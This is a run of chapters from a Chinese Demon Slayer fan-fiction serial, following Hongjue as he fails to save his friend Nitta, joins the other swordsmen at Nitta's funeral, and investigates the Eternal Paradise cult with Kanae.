产屋敷耀哉没往奇异的方向想,有了力气,他抚了抚妻子天音的手,低声道:“天音,我们去扫墓吧,我觉得我现在挺好的。” 产屋敷天音闻声不解,刚刚不还很虚弱吗?怎么突然又有兴致去扫墓了。她多看了自己丈夫几眼,发现他的脸色的确比刚刚好了不少,握住自己的手也不复刚刚的冰冷。 确认产屋敷耀哉的身体无碍,产屋敷天音也点了点头,扶着丈夫掉转方向。 另一边,一下输送大量魔神之力的红诀还有点体力不支,他从自己怀里掏出盒点心,来暂时充饥。狼吞虎咽吃了几块和果子后的他总算缓了过来,他擦了擦自己嘴边的碎屑,用力拍了拍自己的脸,争取看起来有些血色。 除去有些体虚,一切又和平常一样,没什么异常。 看来下回得去多屯点能快速补充体力的食物,要是在战斗中出现体力不支的情况就麻烦了。 [马尔巴士,你说我能不能将魔神之力用在战斗上呢?] 第二次使用魔神之力后,红诀也多了些想法。逆转之力能缓解生机的消散,阻止诅咒的蔓延。那是否也能用于战斗之中,恶鬼的血鬼术是否也属于生命力量的范畴…… 红诀的脑袋里顿时冒出了很多问题,他有些迫不及待地想要尝试了。 [当然可以,但你自己要心底有数。]马尔巴士并不阻止红诀的奇思妙想,经过这次极限操作,他和红诀都知道,魔神之力的使用限制是逐步削弱的。虽存在一定风险,但也不是不能尝试。 进一步摸索出魔神之力的妙用,红诀心情愉悦地来到庭院。悲鸣屿行冥三人仍在庭院里逗留,看到红诀出来,三人也停下了聊天。 “怎么样,主公大人呢?”宇髓天元好奇地看向红诀的身后,却没有看到产屋敷耀哉的身影。 “主公大人身体不适,先到后院休息了。” “这样啊。” 提起产屋敷耀哉的身体,宇髓天元三人眉间也多了几分郁色。香奈惠在与主公交谈时也唐突地提出过请求查看产屋敷耀哉的身体情况,但检查的结果不容乐观。 产屋敷耀哉没来,剩下的四人也打算动身前往执行任务。柱合会议后,现役的他们也有了更清晰的任务方向。临别前,走在最前面的宇髓天元突然回头看着红诀和香奈惠两人。 “对了,以后你们就是沙柱和花柱了。” 现役柱的前缀一般都是根据修习呼吸法的名称决定的,比如宇髓天元修习的是音之呼吸,所以称为音柱。没有特别情况的话,修习沙之呼吸的红诀和修习花之呼吸的香奈惠也是如此。 只不过,蝴蝶香奈惠的花柱之名还算华丽,红诀的沙柱之名就…… “红诀,你要不要考虑换个前缀,沙柱的话……”听起来像傻柱。 听不懂的红诀疑惑:“?为什么?” 最先反应过来的香奈惠明白了宇髓天元话中的未尽之意,她看着还搞不清情况的悲鸣屿和红诀,忍俊不禁地捂着了自己上扬的嘴角。 看着仍旧木讷的红诀和悲鸣屿两人,宇髓天元无奈地捂脸叹气。还是一旁体贴的香奈惠低声向两人解释,两人才恍然大悟。 那该叫什么名字?只会取名阿黑阿白的红诀陷入了新一轮的纠结,白皙的脸又皱成一团。 不管红诀的纠结,宇髓天元幸灾乐祸地挥手和其他三人告别,“要取个华丽的名字哟!” 宇髓天元离开后,悲鸣屿也紧跟着脚步离去,剩红诀和香奈惠两人循着来时的路回到蝶屋。回蝶屋的路上,红诀想起万世极乐教的事情,他向香奈惠询问,是否认识仁田。书信沟通还是晚了些,仁田是不是在调查万世极乐教的事情,直接问了解更多内情的香奈惠更快。 “仁田?”香奈惠垂眉思考着,“我想起来了,主公大人给的资料中确实有红诀你说的仁田。” 香奈惠在和主公大人面谈时,就接收有关万世极乐教的情报。在多份任务报告中,仁田这一名字出现了很多次。最先提出万世极乐教多次出现这一巧合的,也是这位名为仁田诚也的剑士。 红诀也作为调查万世极乐教的协助方,香奈惠所拥有的情报也会一同分享。两人一同回到蝶屋,也是抱有这样的目的。 “这么说来,红诀的同期都很厉害呢。” 发现万世极乐教的仁田,还有现在已经是甲级队员的锖兔和义勇。香奈惠所知道的红诀同期都非常出色。 面对香奈惠的夸奖,红诀非常自豪,他想起藤袭山的回忆,笑得灿烂地回答:“他们都非常厉害!” “后续我们再和仁田见个面吧,对于这方面的调查,他想必还有更为深入的情报。” “嗯,我等下给他写个信。” 两人聊天途中脚步不停,很快就到达了蝶屋。蝶屋还是和早上离开一样,穿过树林,映入眼帘的便是蹲坐在门口等待香奈惠归来的栗花落香奈乎,她穿着练功服,额头上还残留着汗水,一看就是才从道场练功回来。 栗花落香奈乎看到归来的香奈惠,雾蒙蒙的眼睛瞬间一亮,站起身的动作也多了几分急切。 “香奈乎在等我吗?” 见到香奈乎,香奈惠也低头摸了摸乖巧等待的香奈乎。 红诀看着眼前温馨的一幕,也没出声,他向香奈惠示意他去里面等她,见到他动作,香奈惠也点了点头。 然而就在红诀从前门拐弯想去后门时,便听到从院外传来的急切呼唤。 “蝴蝶大人!蝴蝶大人在吗?” “来人啊!有伤员!” 急切的呼唤带着慌张,一下打破了蝶屋的平静。听到呼唤,位于门口的香奈惠立马反应过来,红诀也飞快返回到门口。 只见在蝶屋院外,两名隐气喘吁吁地背着一个浑身浴血的剑士,剑士已经陷入昏迷,血污覆盖的脸上根本看不清剑士的身份。香奈惠的动作比红诀还要快,因为距离较近,她立马接手受伤的剑士,急匆匆地往蝶屋里赶。 红诀回到门口时,就只看到一个模糊的剑士背影,还有从院外一直蔓延到屋内的血迹。 剑士伤得很重。 意识到这一点 24.少年与离别 《红诀[鬼灭]》全本免费阅读 [你救不了他。] 马尔巴士的话一遍一遍地在红诀的脑里回荡。 怎么会救不了呢,下弦叁那次不就可以。 红诀自欺欺人地告诉自己,他不断地往仁田身体内输送魔神之力,小声又急切地在他耳边呼喊他的名字。可眼中的绿色生机之力却没有一丝一毫回聚的趋势。 时钟的图案一次次凝聚又消散,马尔巴士所说的事实一遍遍在他的眼前提醒着他。 你救不了他。 我救不了他。 对不起,仁田。我救不了你。 红诀像是又回到那个丛林的晴夜,那天晚上的天气是难得的好,万里乌云,漫天都是星星,气温也很舒适。他依偎在奶奶怀里,头上是老人轻声的叮嘱。 老人的声音还是那么温柔,却带着浓浓的不舍得。她能感觉到,今晚的这一刻便是她与红诀最后一面了。她还有很多话要说,她还没教会红诀如何自主生活。但一切都太晚了,孱弱的身躯带着遗憾一遍遍地抚摸着她爱的孩子那毛茸茸的头发。 老人和红诀依偎了很久,久到老人故作镇定地说—— 红诀,尽力而为便好了。 最后的最后,老人留下了这一句话。 可是,奶奶,我不想再听着渐渐消失的心跳声了。正如我不想看到眼前逐渐消散的生机之力一样。 他以为他拿到了足够的力量就能保护他珍惜的人,但终究不能够,是他太弱了吗?要变得多强才能保护他们呢? 奶奶,我不想尽力而为。 红诀固执地往仁田体内输送力量,一向阳光的脸上满是镇定和冷静,像个执行命令的机器人一样,一遍遍执行命令。这份冷静同时也感染了香奈惠,她紧绷着精神努力挽救仁田的生命,病房内的大家都在争分夺秒。 只有马尔巴士看到,故作镇定的宿主正躲在内心的角落哭泣。他没有阻止红诀疯狂的举动,只是沉默地看着隔着几个世界的宿主。 见惯了生离死别的他无法安慰红诀,眼前的仁田已经是必死的结局,连游离世界的规则之力也看透了,对红诀没有用处的举动丝毫没有投下注视。 感知敏感的红诀也意识到了,他紧咬着下唇,双眼通红。 正当病房内的大家快要束手无策时,陷入昏迷的仁田却在此时睁开了双眼。他黑色的双眼蒙上了阴翳,像是看不清眼前的一切,他缓慢转动脑袋靠近红诀。 破碎的声音带着笑意:“红诀……我快要被你吵死了……” 任务失败,被贯穿胸口的仁田在眼前一黑的那一刻就已经接受自己已经死亡的现实了。毕竟他再次睁开眼时,就看到隔着一条河,向他招手的母亲和妹妹。 她们在几年前就已经被恶鬼所杀,在这里看到她们,也意味着自己的生命已经到了终点。他倒是一点也不意外,老话怎么说,人终有一死。他有点遗憾的就是,自己手里的情报没能告诉鬼杀队的其他人。 一向乐观的他无奈地叹了口气,抬脚准备渡河前往死亡的世界,和自己母亲和妹妹回合,他有很多话想和她们说。正当他上桥的时候,却听到了已经很久没有见过面的红诀在喊他。 一声又一声,犹如钟鸣一样敲击他的脑袋。 “红诀?怎么会有他的声音?” 许久不见的友人,他的声音急切又悲伤,一下便让仁田心头苦涩起来。一向以男子汉自称的他想张嘴回应,却磕磕巴巴地说不出来一句话。 他想起那最终选拔的七日,虽然已经过去半年多,但伙伴们的声音,模样仿佛就在眼前。他看着河对岸的母亲和妹妹,黑色的锁链将她们与自己连在一起,象征了自己已经脱离了生者的世界。 红诀,你这小子。这时候叫我,不是让我积攒的勇气又没了吗? 锁链的拉扯感越发沉重,他不受控制地一步步往桥上走去。 不行,不能哭。男子汉,哭不得的。仁田紧闭着嘴巴,强忍心头的苦涩。 正当他越来越接近母亲和妹妹时,一道金色的光芒从天而降,轻轻地阻拦着他与母亲妹妹的团圆。 力量带着熟悉的气息,是独属于红诀身上那股热烈温暖的气息。力量悲伤又不安,恳切地挽留着他,让仁田一下酸了鼻子。 啊,是友人的挽留和不舍。 距离团圆还有一步,仁田看着笑着望着他的母亲和妹妹,笑得难看地说:“抱歉,母亲大人,柚子。我好像还得处理一些事情。” 他不好意思地挠了挠自己的头,说:“我的朋友真的太吵了。” 灵魂状态下的他能看到更多的东西,比如自己已经完全是鬼魂的形态了,就算自己回去,身体也撑不了多久。 “母亲大人,柚子。就让我回去和朋友道个别吧,很快便会回来的。” 仁田挥了挥手和她们道别,让自己沉浸在金色的光芒之中。 仁田的清醒给了香奈惠和红诀一个大惊喜,他的醒来让香奈惠看到了几分希望。手术进行得很快,在仁田清醒的加持下,他身体上的伤口很快就被缝合起来。 但……即使手术结束,香奈惠看着仪器上显示的生命体征,眉间还是有一抹郁色。 而红诀在惊喜过后,却是更加悲伤。仁田清醒后,他体内的生机之力依旧没有丝毫变化。源源不断的金色魔力输送下,绿色的生机之力犹如荧光一样,散于身躯之中,根本汇聚不起来。 “仁田……”别死好不好。 灵魂再次回到躯体,仁田能看到的也就更多,他能看到自己身体内多了未知的力量,正在持续地试图弥补自己破破烂烂的身躯。 那股力量,和刚刚阻拦他的金色力量一模一样。看着一旁友人痛苦不甘的眼神,一向迟钝的他也反应过来了。 “已经足够了……红诀。”他费劲地挪动自己的手,试图安慰红诀。 “对不起。”对不起,我救不了你。 友人冰冷的触摸还是打破了红诀故作镇定的脸,大滴的泪水从他漂亮的眼珠中滴落。< 25.少年与羁绊 《红诀[鬼灭]》全本免费阅读 香奈惠离开病房后,就安静地待在门外,给予里面红诀与仁田告别的空间。寂静的走廊里,她能清晰地听见里面红诀那压抑的哭声,那像是捂着自己的嘴巴在强忍情绪,却听起来让人格外难受。 世事无常,她抚了抚自己的胸口,努力平复被触及的情绪。 仁田诚也战死的消息和天绯村出现上弦贰的情报应该立马就会传到主公大人那里。在出发前往拿取仁田藏起来的情报之前,她要帮助红诀联系他和仁田的同期,安排好仁田的后事。 只是当她正准备离开时,身后的门却打开了。 她有些惊讶地回过头,发现红发少年站在阴影处,像是与黑暗融为一体一样,发红的眼周里,一双明媚的红眸此时有些暗沉。 “香奈惠,接下来就拜托你了。”红诀声音平静镇定,要不是发红的眼周和刚刚香奈惠听到的哭泣声,还以为他一点事情都没有。 半日前羞涩腼腆的少年好像在短短两个小时之间发生了变化,周身的气质一下变得沉稳起来。 “就交给我吧,你是要去哪里?” “我先去给沼田他们写信,然后去天绯村拿情报。” 红诀的话非常清晰有条理,就像是已经事先决定好一样。 “你还好吗?”香奈惠很明显看出红诀此时的不对劲,她放轻声音,试图安抚下红诀。 “有点不好。但是,我不能停在这里。要赶紧动起来才行。” 仁田的战死像撕去了红诀内心深处的保护伞,把从奶奶去世后那个弱小逃避的自己从封闭的空间中揪出来。那个小红诀害怕离别,沉溺过去,不肯面对残酷的事实,只会躲在封闭的空间进行幻想。 但现实就是,总会有人离开,总会有缺憾。他不可能在美好的幻想中困住自己珍惜的友人们,因为仁田他们身上有自己追求的东西,有自己愿意付诸生命的目标。 走在自己追求目标路上的大家才是真正的大家,生老病死,这一切恒常的规律,他必须直面并接受它。 不能再逃避了,红诀。发挥自己最大的力量,消灭掉恶鬼,为仁田报仇。 思考起来,行动起来。这样才能守护住大家。 红诀坦言自己的状态,站在香奈惠前面的他像是在说服自己,又像是说在说服香奈惠。香奈惠听到闻言沉默许久,后开口道:“不介意的话,就让我来给锖兔他们写信吧。” 她拍了拍红诀的肩膀,没有阻止此刻不对劲的红诀,“等你拿完情报,答应我,先回来商讨一下可以吗?” “嗯,我会的。” 他不会再只会依靠直觉行事了。 与香奈惠告别后的红诀带上被扔在病房外的武器,动作快速地离开。 香奈惠看着红诀离开的背影,转身又进了病房。白晃晃的病房内,仁田诚也安静地躺在床上,满是血污的脸已经被红诀清理干净,在他的枕边还有一个绣着平安的御守。 谢谢你,仁田。给我们带来这么重要的情报。 另一边,红诀飞速穿梭在山林间,头顶上的阿黑娴熟地为其指路。不似平常的迷糊,红诀目标明确地向天绯村赶去。身体上还残留着很重的疲惫感,但内心的急切更让红诀感到难受。 所幸蝶屋距离天绯村不到一个小时,红诀赶到时才过了不到二十分钟。早晨的天绯村市井味很浓厚,走街窜巷的叫卖声,人来人往的集市。 穿过热闹的集市,红诀来到一处偏僻的角落。仁田所提到的荒井在天绯村的西北角,那是一处废弃的宅院。红诀到的时候,荒井周围并没有属于人的痕迹。 仁田在藏情报的时候非常小心,将四周属于自己的痕迹都抹除干净了。红诀扒开荒井上缠绕的藤曼,最先看到的便是放在最上方放的手信,是天绯村的特产。 看到的第一眼,红诀眼圈立马又红了。他想起那天拉面摊上沼田给他尝的属于仁田的手信了。这份也是给我们带的吗?红诀颤抖地把手信移到一边,第二层是仁田身上随身携带的吊坠,那是他的妹妹柚子送的礼物。 而最后一层,才是几封被包裹得严严实实的信封,是仁田提及的情报。 看到里里外外对仁田来说很重要的东西,红诀才明白,或许在追查这个任务的时候,仁田他就已经有不详的预感。 妹妹柚子送的吊坠他是从来不离身的,更不会将其放在这样的荒井之中。 沉默许久,红诀脱下自己的外套,将荒井中的东西都收纳在外套里面,包得严实抱在怀中。 他来的时候打听了仁田战死的地点,在天绯村的东南角,跟荒井这里刚好形成一个对角。在返回蝶屋前,他必须去看看,看看现场还有没有残留什么痕迹。 将包裹背在背后,红诀转头向东南方向跑去。那里是村民居住的区域,几座宅院连在一起,中间偶尔还有人员出入。而仁田调查的地点,就在这其中。 红诀到的时候,周围人正围着一处宅院在议论纷纷。 “听说昨晚这里有人死了。” “我看到了,今早被背出来的,浑身都是血。” “这里不是已经没人住了吗?” “那里没有,我看村长的儿子可是经常出入其中。” 周围围着的人太多,红诀不好从正门进去,他绕到后门,准备爬墙进入宅院。当其轻巧落地时,却在这里看到了一个意外的身影。 “锖兔,你怎么会在这里!?” 眼前的人正是两个月没见的锖兔,看到红诀的到来,他丝毫没感到意外,他晃了晃手中的信纸。 “我收到蝴蝶的信了。” 就在红诀前脚离开蝶屋不久,香奈惠就已经简短地将仁田战死的消息写信给他的同期们。写给锖兔的信中除去对仁田战死的不幸感到哀悼外,她还额外提及了红诀情况的不对劲。 收到信时,锖兔正离天绯村不远。友人战死的悲伤和对红诀的关心促使他加快脚步来到天绯村,就在红诀前往西南方向拿取情报时,他就已经顺着消息摸到了东南方的宅院这里。 “对不……”看到友人的那一刻,红诀心中的歉意和酸涩又涌了上来,他有些哽咽地想要开口。 “这是什么话!仁田他可是会生气的!” < 26.少年与友人 《红诀[鬼灭]》全本免费阅读 站在红诀和锖兔面前的,正是义勇、沼田、中岛还有日向。最终选拔第一夜的九人,除已经战死的仁田,任务地点太远来不及返回的中村和佐藤,剩下的六人全部聚集在天绯村。 “中村和佐藤离得太远,没办法回来参加仁田的葬礼了。”六人中,一向寡言的日向吉太为没归来的同伴解释道。 半年多经历任务磨练的义勇已经不复当初的腼腆,他脸上虽面无表情,但在场的人都能感受到他的关切。 沼田揽着义勇的肩膀开玩笑道:“仁田估计也没想到,我们第一次这么齐聚在一起居然是因为他……”他的眼圈红肿,声音哽咽,他是最近半年来和仁田联系最紧密的人。 对于仁田的死亡,他实在没想到,前几天嚷着要给他送手信的少年就这样躺进冰冷的土地里。 “沼田……” “我没事,只是觉得仁田这小子太狡猾。”居然就这样洒脱地走了,为什么不多留会。 蝴蝶香奈惠给他们的来信中也有提及,会等他们回来后再送仁田下葬,天绯村的几人也没多做停留,立刻启程返回蝶屋。 几人的脚程很快,没过一会就到了蝶屋。守在门前的香奈惠看到几人平安归来也松了口气,没等她说话,红诀就从背后包裹中把那几封情报递给她。 信封并没有打开的痕迹,红诀很好地遵守了他和香奈惠的决定。见此,香奈惠也没有多言,她收下信封,低声跟红诀锖兔他们说仁田的遗体已经被送到了剑士墓园,可以前去。 剑士墓园,是主公大人为每一位战死牺牲的剑士们而设立的场所。每一天,他都会携带妻子前去扫墓。 红诀他们到的时候,墓园正下起小雨。整个墓园非常安静,得知红诀他们的到来,产屋敷耀哉提前清了场,留给红诀他们与仁田告别的空间。 穿着干净的仁田安静地躺在墓地中,惨白的双眼紧闭,不像是离开了这个世界,而是暂时睡着了。红诀六人沉默站在仁田面前,雨水流淌在他们脸上,留下明显的水痕。 寂静之中,红诀小心地从包裹中拿出那个吊坠,将其放在仁田的胸口处。沼田也从怀里掏出一枚金牌小心放于仁田的枕边。 来的路上,红诀转述了仁田临别前的话,提到沼田答应给他的金子要和他一起葬在一起。 “你小子,到死也不忘占我便宜,东西我一早就准备好了,就是吊着你而已。” 沼田絮絮叨叨地说道,“早知道我就提前给你好了。” 这样能听你多说点。 因为下雨,锖兔也提议尽早闭棺,红诀几人也点了点头。闭棺,埋土,清扫墓碑。一切进展得无声无息,空气中却弥漫着寂寥的悲伤氛围。 直到一切全都完成,六人还是静静站在雨中。 六人之中,最先开口的是锖兔,“我们必须继续延续仁田的意志。”掷地有声的话和天上的惊雷一同响起。 “死亡不会成为我们生命的结束,意志的消散才是。” 听到锖兔这一番话,红诀则是握紧了自己的拳头:“我会根据仁田的情报,继续追查下去的。” 关于仁田的事,大家也都了解了不少。 义勇也点了点头:“我的任务区域在东北地区,那边由我看着。” 日向:“西南那边我和中岛负责。” 只有沼田沉默半响,他像是思索了很久,缓缓开口道:“大家,我可能要去隐部门了。” 沼田突来的决定让在场的人都是一愣,沼田现在已经是己级队员,晋升的速度并不慢。他们也知道沼田的性格,是不会畏惧选择临阵脱逃的,那是什么原因他要转到后方去。 “从之前开始,我就一直在想,我能多做些什么?”沼田抬头看向漫天的雨,“仁田的死让我明白了。我一直忽略和逃避的东西。” 在和红诀碰面之后,他有幸遇到了音柱宇髓天元大人,并与其一同进行过任务。负责情报收集的宇髓天元看出了沼田对信息的敏感,在任务结束后曾可惜地说,你这种天赋得好好利用起来才行。 柱的认可让沼田信心大增,但他没往深处想,他忽略了情报的重要性,一心还是想着晋升。但仁田追查万世极乐教而战死的消息,却让他顿时醒悟。 恶鬼存世几百年,为何能一直藏于人类之中不能完全消灭,官方又为何不承认鬼杀队。 永生是几百年甚至几千年人类贪婪的欲望,那些位于高层的人是如何看待恶鬼的,又抱有什么心思,生在商政人家的沼田看得很透彻。这样一比,鬼杀队能持续传承下来,实在是因为那极为坚强的意志。 万世极乐教的出现让沼田敏锐的感觉指向了他一直想逃避的原生环境。 他要回去,利用他所拥有的一切,紧紧抓住恶鬼的尾巴。 “越是高级的鬼越不可能躲于市井之中,繁华的东京都一定有恶鬼的踪迹。” 沼田的话一出,红诀几人都明白了他的意思。他们都知道他的家庭背景,也意识到,沼田所选择的这条路极其难走,但没人出言制止或是劝说。 此时此刻,站在这里的人都抱着消灭恶鬼的决心。仁田的意志,也由他们所继承。 沼田的话深深触动了红诀,内心那颗幼芽在顷刻间开始茁壮生长,带着细密的酸涩和疼痛,每个人的力量终究有限,他也一样。 就算拥有不该存于这个世界的魔神之力,他还是无法保全所有人。 尽力而为,是否也可以理解为在自己有限的力量内,发挥自己的所有去达成那个目标呢? 仁田到最后一刻也不忘传递出情报的那份意志,他不该辜负和埋没。 雨水滴到眼睛里带来细密的疼痛和冰凉,却浇灭不了少年们的意志和赤忱。 雨幕之中,红发少年缓缓开口,“祝我们,武运昌隆。” “嗯,祝我们武运昌隆。” 葬礼结束后,聚在一起的人分食了仁田留下的手信,在短暂的重聚后,又分开继续执行自己的任务。临别前,锖兔和义勇多留了一会,他们拉着红诀一起坐 27.少年与月伊镇 《红诀[鬼灭]》全本免费阅读 和锖兔义勇聊过的红诀心情放松了许多。时间不等人,跟锖兔和义勇告别后,红诀找到了香奈惠。 道场里,香奈惠跪坐在榻榻米上,专心致志地研究着手里的情报。看到红诀的到来,她也没多说什么,只是直接将情报递到他的手里。 仁田调查得到的情报比想象中要全面,他走访了几个村落,仔细向当地人询问了对于万世极乐教的看法。除天绯村外,他还有几个地点没去调查,分别是古井村、浅草府和月伊镇。 这几个地方是明确有万世极乐教存在的证明,只是仁田在探查第一个天绯村时遇到了上弦。 “据主公大人所说,上弦存在了数百年,对于自己的行踪一向隐秘,不会轻易透露。” 香奈惠看着地图上的三个地点沉思道,仁田一举试探出了上弦贰,但上弦贰的具体相貌、行事手段都没有详细的情报。 “上弦贰出现在天绯村是个偶然还是察觉到了仁田的探查,我们并不知道。”红诀手指轻敲桌面,“但我们必须循着这个方向调查下去,因为这是唯一能抓住上弦的途经了。” “的确。根据仁田和隐的情报,万世极乐教虽然低调,但教徒的数量并不少。从此也可以看出,上弦贰的行事风格应该不是会继续隐藏行踪的类型。” 要是实在低调谨慎,也不会搞出个万世极乐教这个容易引起关注的宗教来。地图上的三个地点,或许会有更多的收获,也有可能运气好,直接遇到上弦贰。 仁田所调查的三个地点离得并不远,大致呈现三角形呈现在地图上。红诀和香奈惠商量一人先负责一个,红诀去浅草都,香奈惠去古井村,最后两人去月伊镇会合。 商讨完毕,已经是半夜,两人打算明日再启程。香奈惠还得安排好蝶屋的事项,原本红诀打算立刻启程,却被香奈惠劝下了。 她看出红诀脸色的疲惫,强行让其先休息几个小时,“现在已经是半夜了,你休息一下,明早再启程也不迟。” 喜悲交加,再加上几乎不间断地输送魔神之力,红诀现在的身体情况着实算不上好。即使内心非常迫切,红诀也只好乖乖休息。 看着红诀乖乖去往空闲的房间休息,香奈惠也放下心来。只是当次日一早,她休息完毕也安排好所有事项去找红诀时,却只看到空荡荡被收拾得整齐的床铺。 询问才得知,天一亮红诀就出发了,一刻也没有多停留。 看着空荡荡的床铺,香奈惠无奈地抚着眉头,“虽说好好答应下来,但这种敷衍也真是的……” 奔赴在浅草府的红诀突然打了一个喷嚏,他的头顶跟着被强行揪起来引路的阿黑。听到红诀打喷嚏,怨气十足的阿黑在空中大声发出嘲笑的鸣叫。 红诀到达浅草的时候,两侧的店铺还未开业,空荡荡的大街上只有卖报的报童在吆喝。没多做停留,红诀循着情报的地点悄无声息进入一个工厂的后院。 浅草府的地点十分隐蔽,此时工厂的工人还未起床,整座工厂静悄悄的。潜入后院的仓库,看着眼前蒙着一层灰尘的地板,红诀知道自己这回可能扑了个空。 此地已经很久没有人来了,和天绯村一样的内室明确指向这里也是万世极乐教的一个教徒齐聚的地点。看地上灰尘的厚度,起码得有半个多月左右没人来过这里了。 虽扑了个空,红诀也没有死心,他在内室内进行地毯式搜索,总算在一个角落找到了还没来得及销毁的传单。拍了拍传单上的灰尘,他第一眼看到的便是传单上的日期。 正是半个月前。 红诀半个月前也来过浅草府,还遇到了沼田。他敏锐地想起那份奇怪的报纸,传单的日期就在那天之前。过于凑巧的时间,让红诀察觉到了不对。 对于报纸上的地点,那时的他留了个心眼,那是浅草府的中央街道58号。确定周围并没有遗漏的东西,红诀看着时间还早,打算去那里探一探。 中央街道58号,是一家服装店。 红诀到的时候,店铺没有开门,紧闭的店铺门贴着闭店公告,但具体的开店的时间未作说明。 见红诀驻留在门前很久,旁边水果店的店主好心说了一句—— “小哥,这家店最近有人去世了,所以闭店了。你在这里等他也不会开门的。” “去世?” “也就半个月前吧。说来也是不幸,明明那几天他们家刚接待了几位大人物,可没过两天,这家的老板的就去世了。”老板唏嘘地说。 半个月前?这也太巧了。 “老板,这家店主是因为什么去世的?” “好像是染病吧。我也不清楚了,葬礼办得无声无息的。” “我知道了,谢谢老板。” “不用客气。” 收获到另外的消息,红诀也不多做停留,他再度启程前往月伊镇,打算先和香奈惠回合。一路上,他思绪不断。 半个月前的浅草府,万世极乐教的那处地点应该是举行过仪式的,但从那份奇异报纸报道后,那处仓库就没再有人去过了,照片地点的服装店老板也离奇死亡。 很难不联想到鬼的手笔。只是因为一份报纸吗?就急着杀人灭口? 满腹疑问的红诀在月伊镇见到了香奈惠,比起在浅草府扑了个空的红诀,香奈惠收获颇多。她根据古井村的地点找到了万世极乐教的地点,那处还有人走动。她简单做了乔装,装着好奇进行套话。 却意外得知一个消息,教主大人更喜欢女子。 喜欢女子的教主是不是上弦贰? 香奈惠有些犹豫地进行推测。 红诀也将浅草府的情况与香奈惠进行分享,重点提及那份报纸和突然死亡的服装店店主。 “你的感觉应该没错,红诀。半个月这个时间太凑巧了,这样一来,我们或许可以推断,上弦很怕万世极乐教过分引起其他人的注意。” “也可以解释,为什么我们执行任务这么久,对万世极乐教的情报还是很少。” “嗯,真是矛盾。为什么一方面延续万世 28.少年与老婆婆 《红诀[鬼灭]》全本免费阅读 老婆婆穿着洗得发白的衣衫,拄着拐杖颤颤巍巍地询问。 红诀和香奈惠对视一眼,两人都下意识将手里的武器藏在身后。香奈惠向前一步,缓声道:“婆婆你好,我们是来参观月伊寺的。” “参观?”老婆婆没看向红诀两人的位置,她下意识偏头,循着声音来处靠近,这下意识的动作让红诀两人不由得看向她的眼睛。 她的双眼无神,雾蒙蒙的一片,或许已经看不清了。 “我在这十年,还是第一次听说有人来参观。”老婆婆显然不信香奈惠的说辞,她轻轻哼了一声,但也没出声阻止,只是转过身,慢慢说道:“这地方最好别去,你们跟我来吧。” 她像是完全不提防红诀两人,引着他们就往自己的住处去。动作流畅,也不像失明的样子。说是住处,她也不住在月伊寺,沿着门房向下走去,大约十分钟的路程,是一座小小的院子。院内还有一小块田地,种着些蔬菜。 老婆婆从屋内拿出两把破旧的凳子给红诀他们,便自己坐在摇椅上,木椅的咯吱声一下又一下地响。 香奈惠问:“婆婆,为什么让我们别去月伊寺?” 老婆婆眼神虽不好,但还是看得清东西,眼前的两人明显年纪不大。 “那地方都已经没人在了,都废弃了,还去干什么?” 她没说真话,但话语中带着抵触,显然她非常厌恶月伊寺。她对于红诀两人的到来也丝毫不意外,不住在门房,却能关注到月伊寺来人,并前去阻拦。 见老婆婆不愿多谈,香奈惠也不追问,她转移话题询问其老婆婆为何会居住在这里。他们从月伊镇到这上面来,也感受到地形的复杂,寻常人都很难上来,更何况已经年纪大的老婆婆。 “是你们不认得路。” 闻言老婆婆摇了摇头,“你们从集市那边过来,当然难走,从我这院子后面绕过去,有一条路可以直通山下,并不难走。” “我在这已经住了很久了,有三十年吧。”回忆其往昔,老婆婆语气带着些怀念,“当时我老伴还在,那个月伊寺也还有人去。” 她看出香奈惠的转移话题,也没刻意去不谈月伊寺。 “我就直白跟你们讲吧,那月伊寺不干净。” 夜色已经彻底暗了下来,昏暗的小屋中,老婆婆沙哑的声音带着震慑和恐惧。她是真的不想有人再去月伊寺。 “婆婆,我们能问问这里到底发生了什么事吗?” 看着眼前的两人还是不肯放弃追查,老婆婆叹了口气,“你们现在去其实也查不出什么,十年前那场大火已经将一切都烧毁了。” 老婆婆名叫红知子,三十年前和老伴一起在月伊寺下居住。因为月伊寺的路不好走,这里也清净没什么人来往。但二十年前,月伊寺就开始不对劲起来。 居住在月伊寺旁边的她明显感觉到不对劲,一开始是月伊寺来了很多人,整个月伊寺在短时间内换了一个模样。她因为好奇和工人询问过,说是月伊寺换了新的信仰,他们是来重新装潢的。再后来,因为地形鲜有人来的月伊寺突然热闹起来了。 从她家的屋顶可以看到月伊寺的门口,那段时间里,她总能看到穿着华丽的富人一个接一个地进入月伊寺。月伊寺整天也传来载歌载舞的声响。她和老伴一开始也只是好奇,也没多去过问。但有一天,在她即将入睡时,却听见老伴不安地说,说有很多人进去了却再也没有出来。 她深刻记得老伴在夜色中的不安和忐忑,隔天一早,她老伴就火急火燎地让她收拾下屋子,要搬到山下去。她虽然不理解,但听她老伴这么讲,也跟着他一起下山。 离开那天是个夜晚,山路上很是安静,她有些害怕地跟着老伴一步步往下走,却突然从丛林中传出了惨烈的声音,那是一个女人的尖叫声。 听到的那一刻,她打了个寒战,那声音太绝望了。让她十二年来始终忘不了。 “从那天后,我和老伴就搬到山下居住。但两年后,我老伴因病去世,我也只剩自己一个人。”老婆婆攥紧了拐杖,“但那道声音我始终没办法忘记,老伴去世后,我也没有什么念想,鼓起了最后的勇气又回到了这里。” “但我回来后发现,月伊寺起过一场大火,一切都烧得一干二净了。那些侍奉的人也消失得无影无踪。” “婆婆,你知道万世极乐教吗?” “知道!就是它,月伊寺后来的主人。”老婆婆肯定地说,连连点头。 红诀见状沉思,看来万世极乐教已经搬离了这里,十年前到底发生了什么事也无从得知。依据现有的情报推断,大火应该是为了烧毁恶鬼存在的痕迹。老婆婆十年前提前察觉危机选择离开是正确的选择,不然也可能落入恶鬼的魔爪。 “关于月伊寺的人,婆婆有什么印象吗?” “我……”老婆婆想了想,“没什么印象了,就只知道来来往往的人很多,寺庙中有很多女人。” 女人?香奈惠看了红诀一眼,看来十年前万世极乐教的教主的确在这里出现过。 大火烧毁了月伊寺,即使她和红诀去里面翻找,也找不出什么结果。看来只能再做打算了。 老婆婆见天色已晚,提出挽留:“你们要不在这里留宿一晚,不要再去月伊寺了。” 红诀两人没有应下,香奈惠则是关心地说:“婆婆,你还有亲人吗?” 留年纪大的婆婆在深山中并不安全,如果可以,安顿在山下有人照料更好。 “我得在这里守着,防着还有人要去那个地方。”老婆婆固执地说,那道声音已经成为她的执念,她不能就这么到山下去。 红诀对着香奈惠说:“这样,我去月伊寺看一看,香奈惠你照顾好婆婆。” 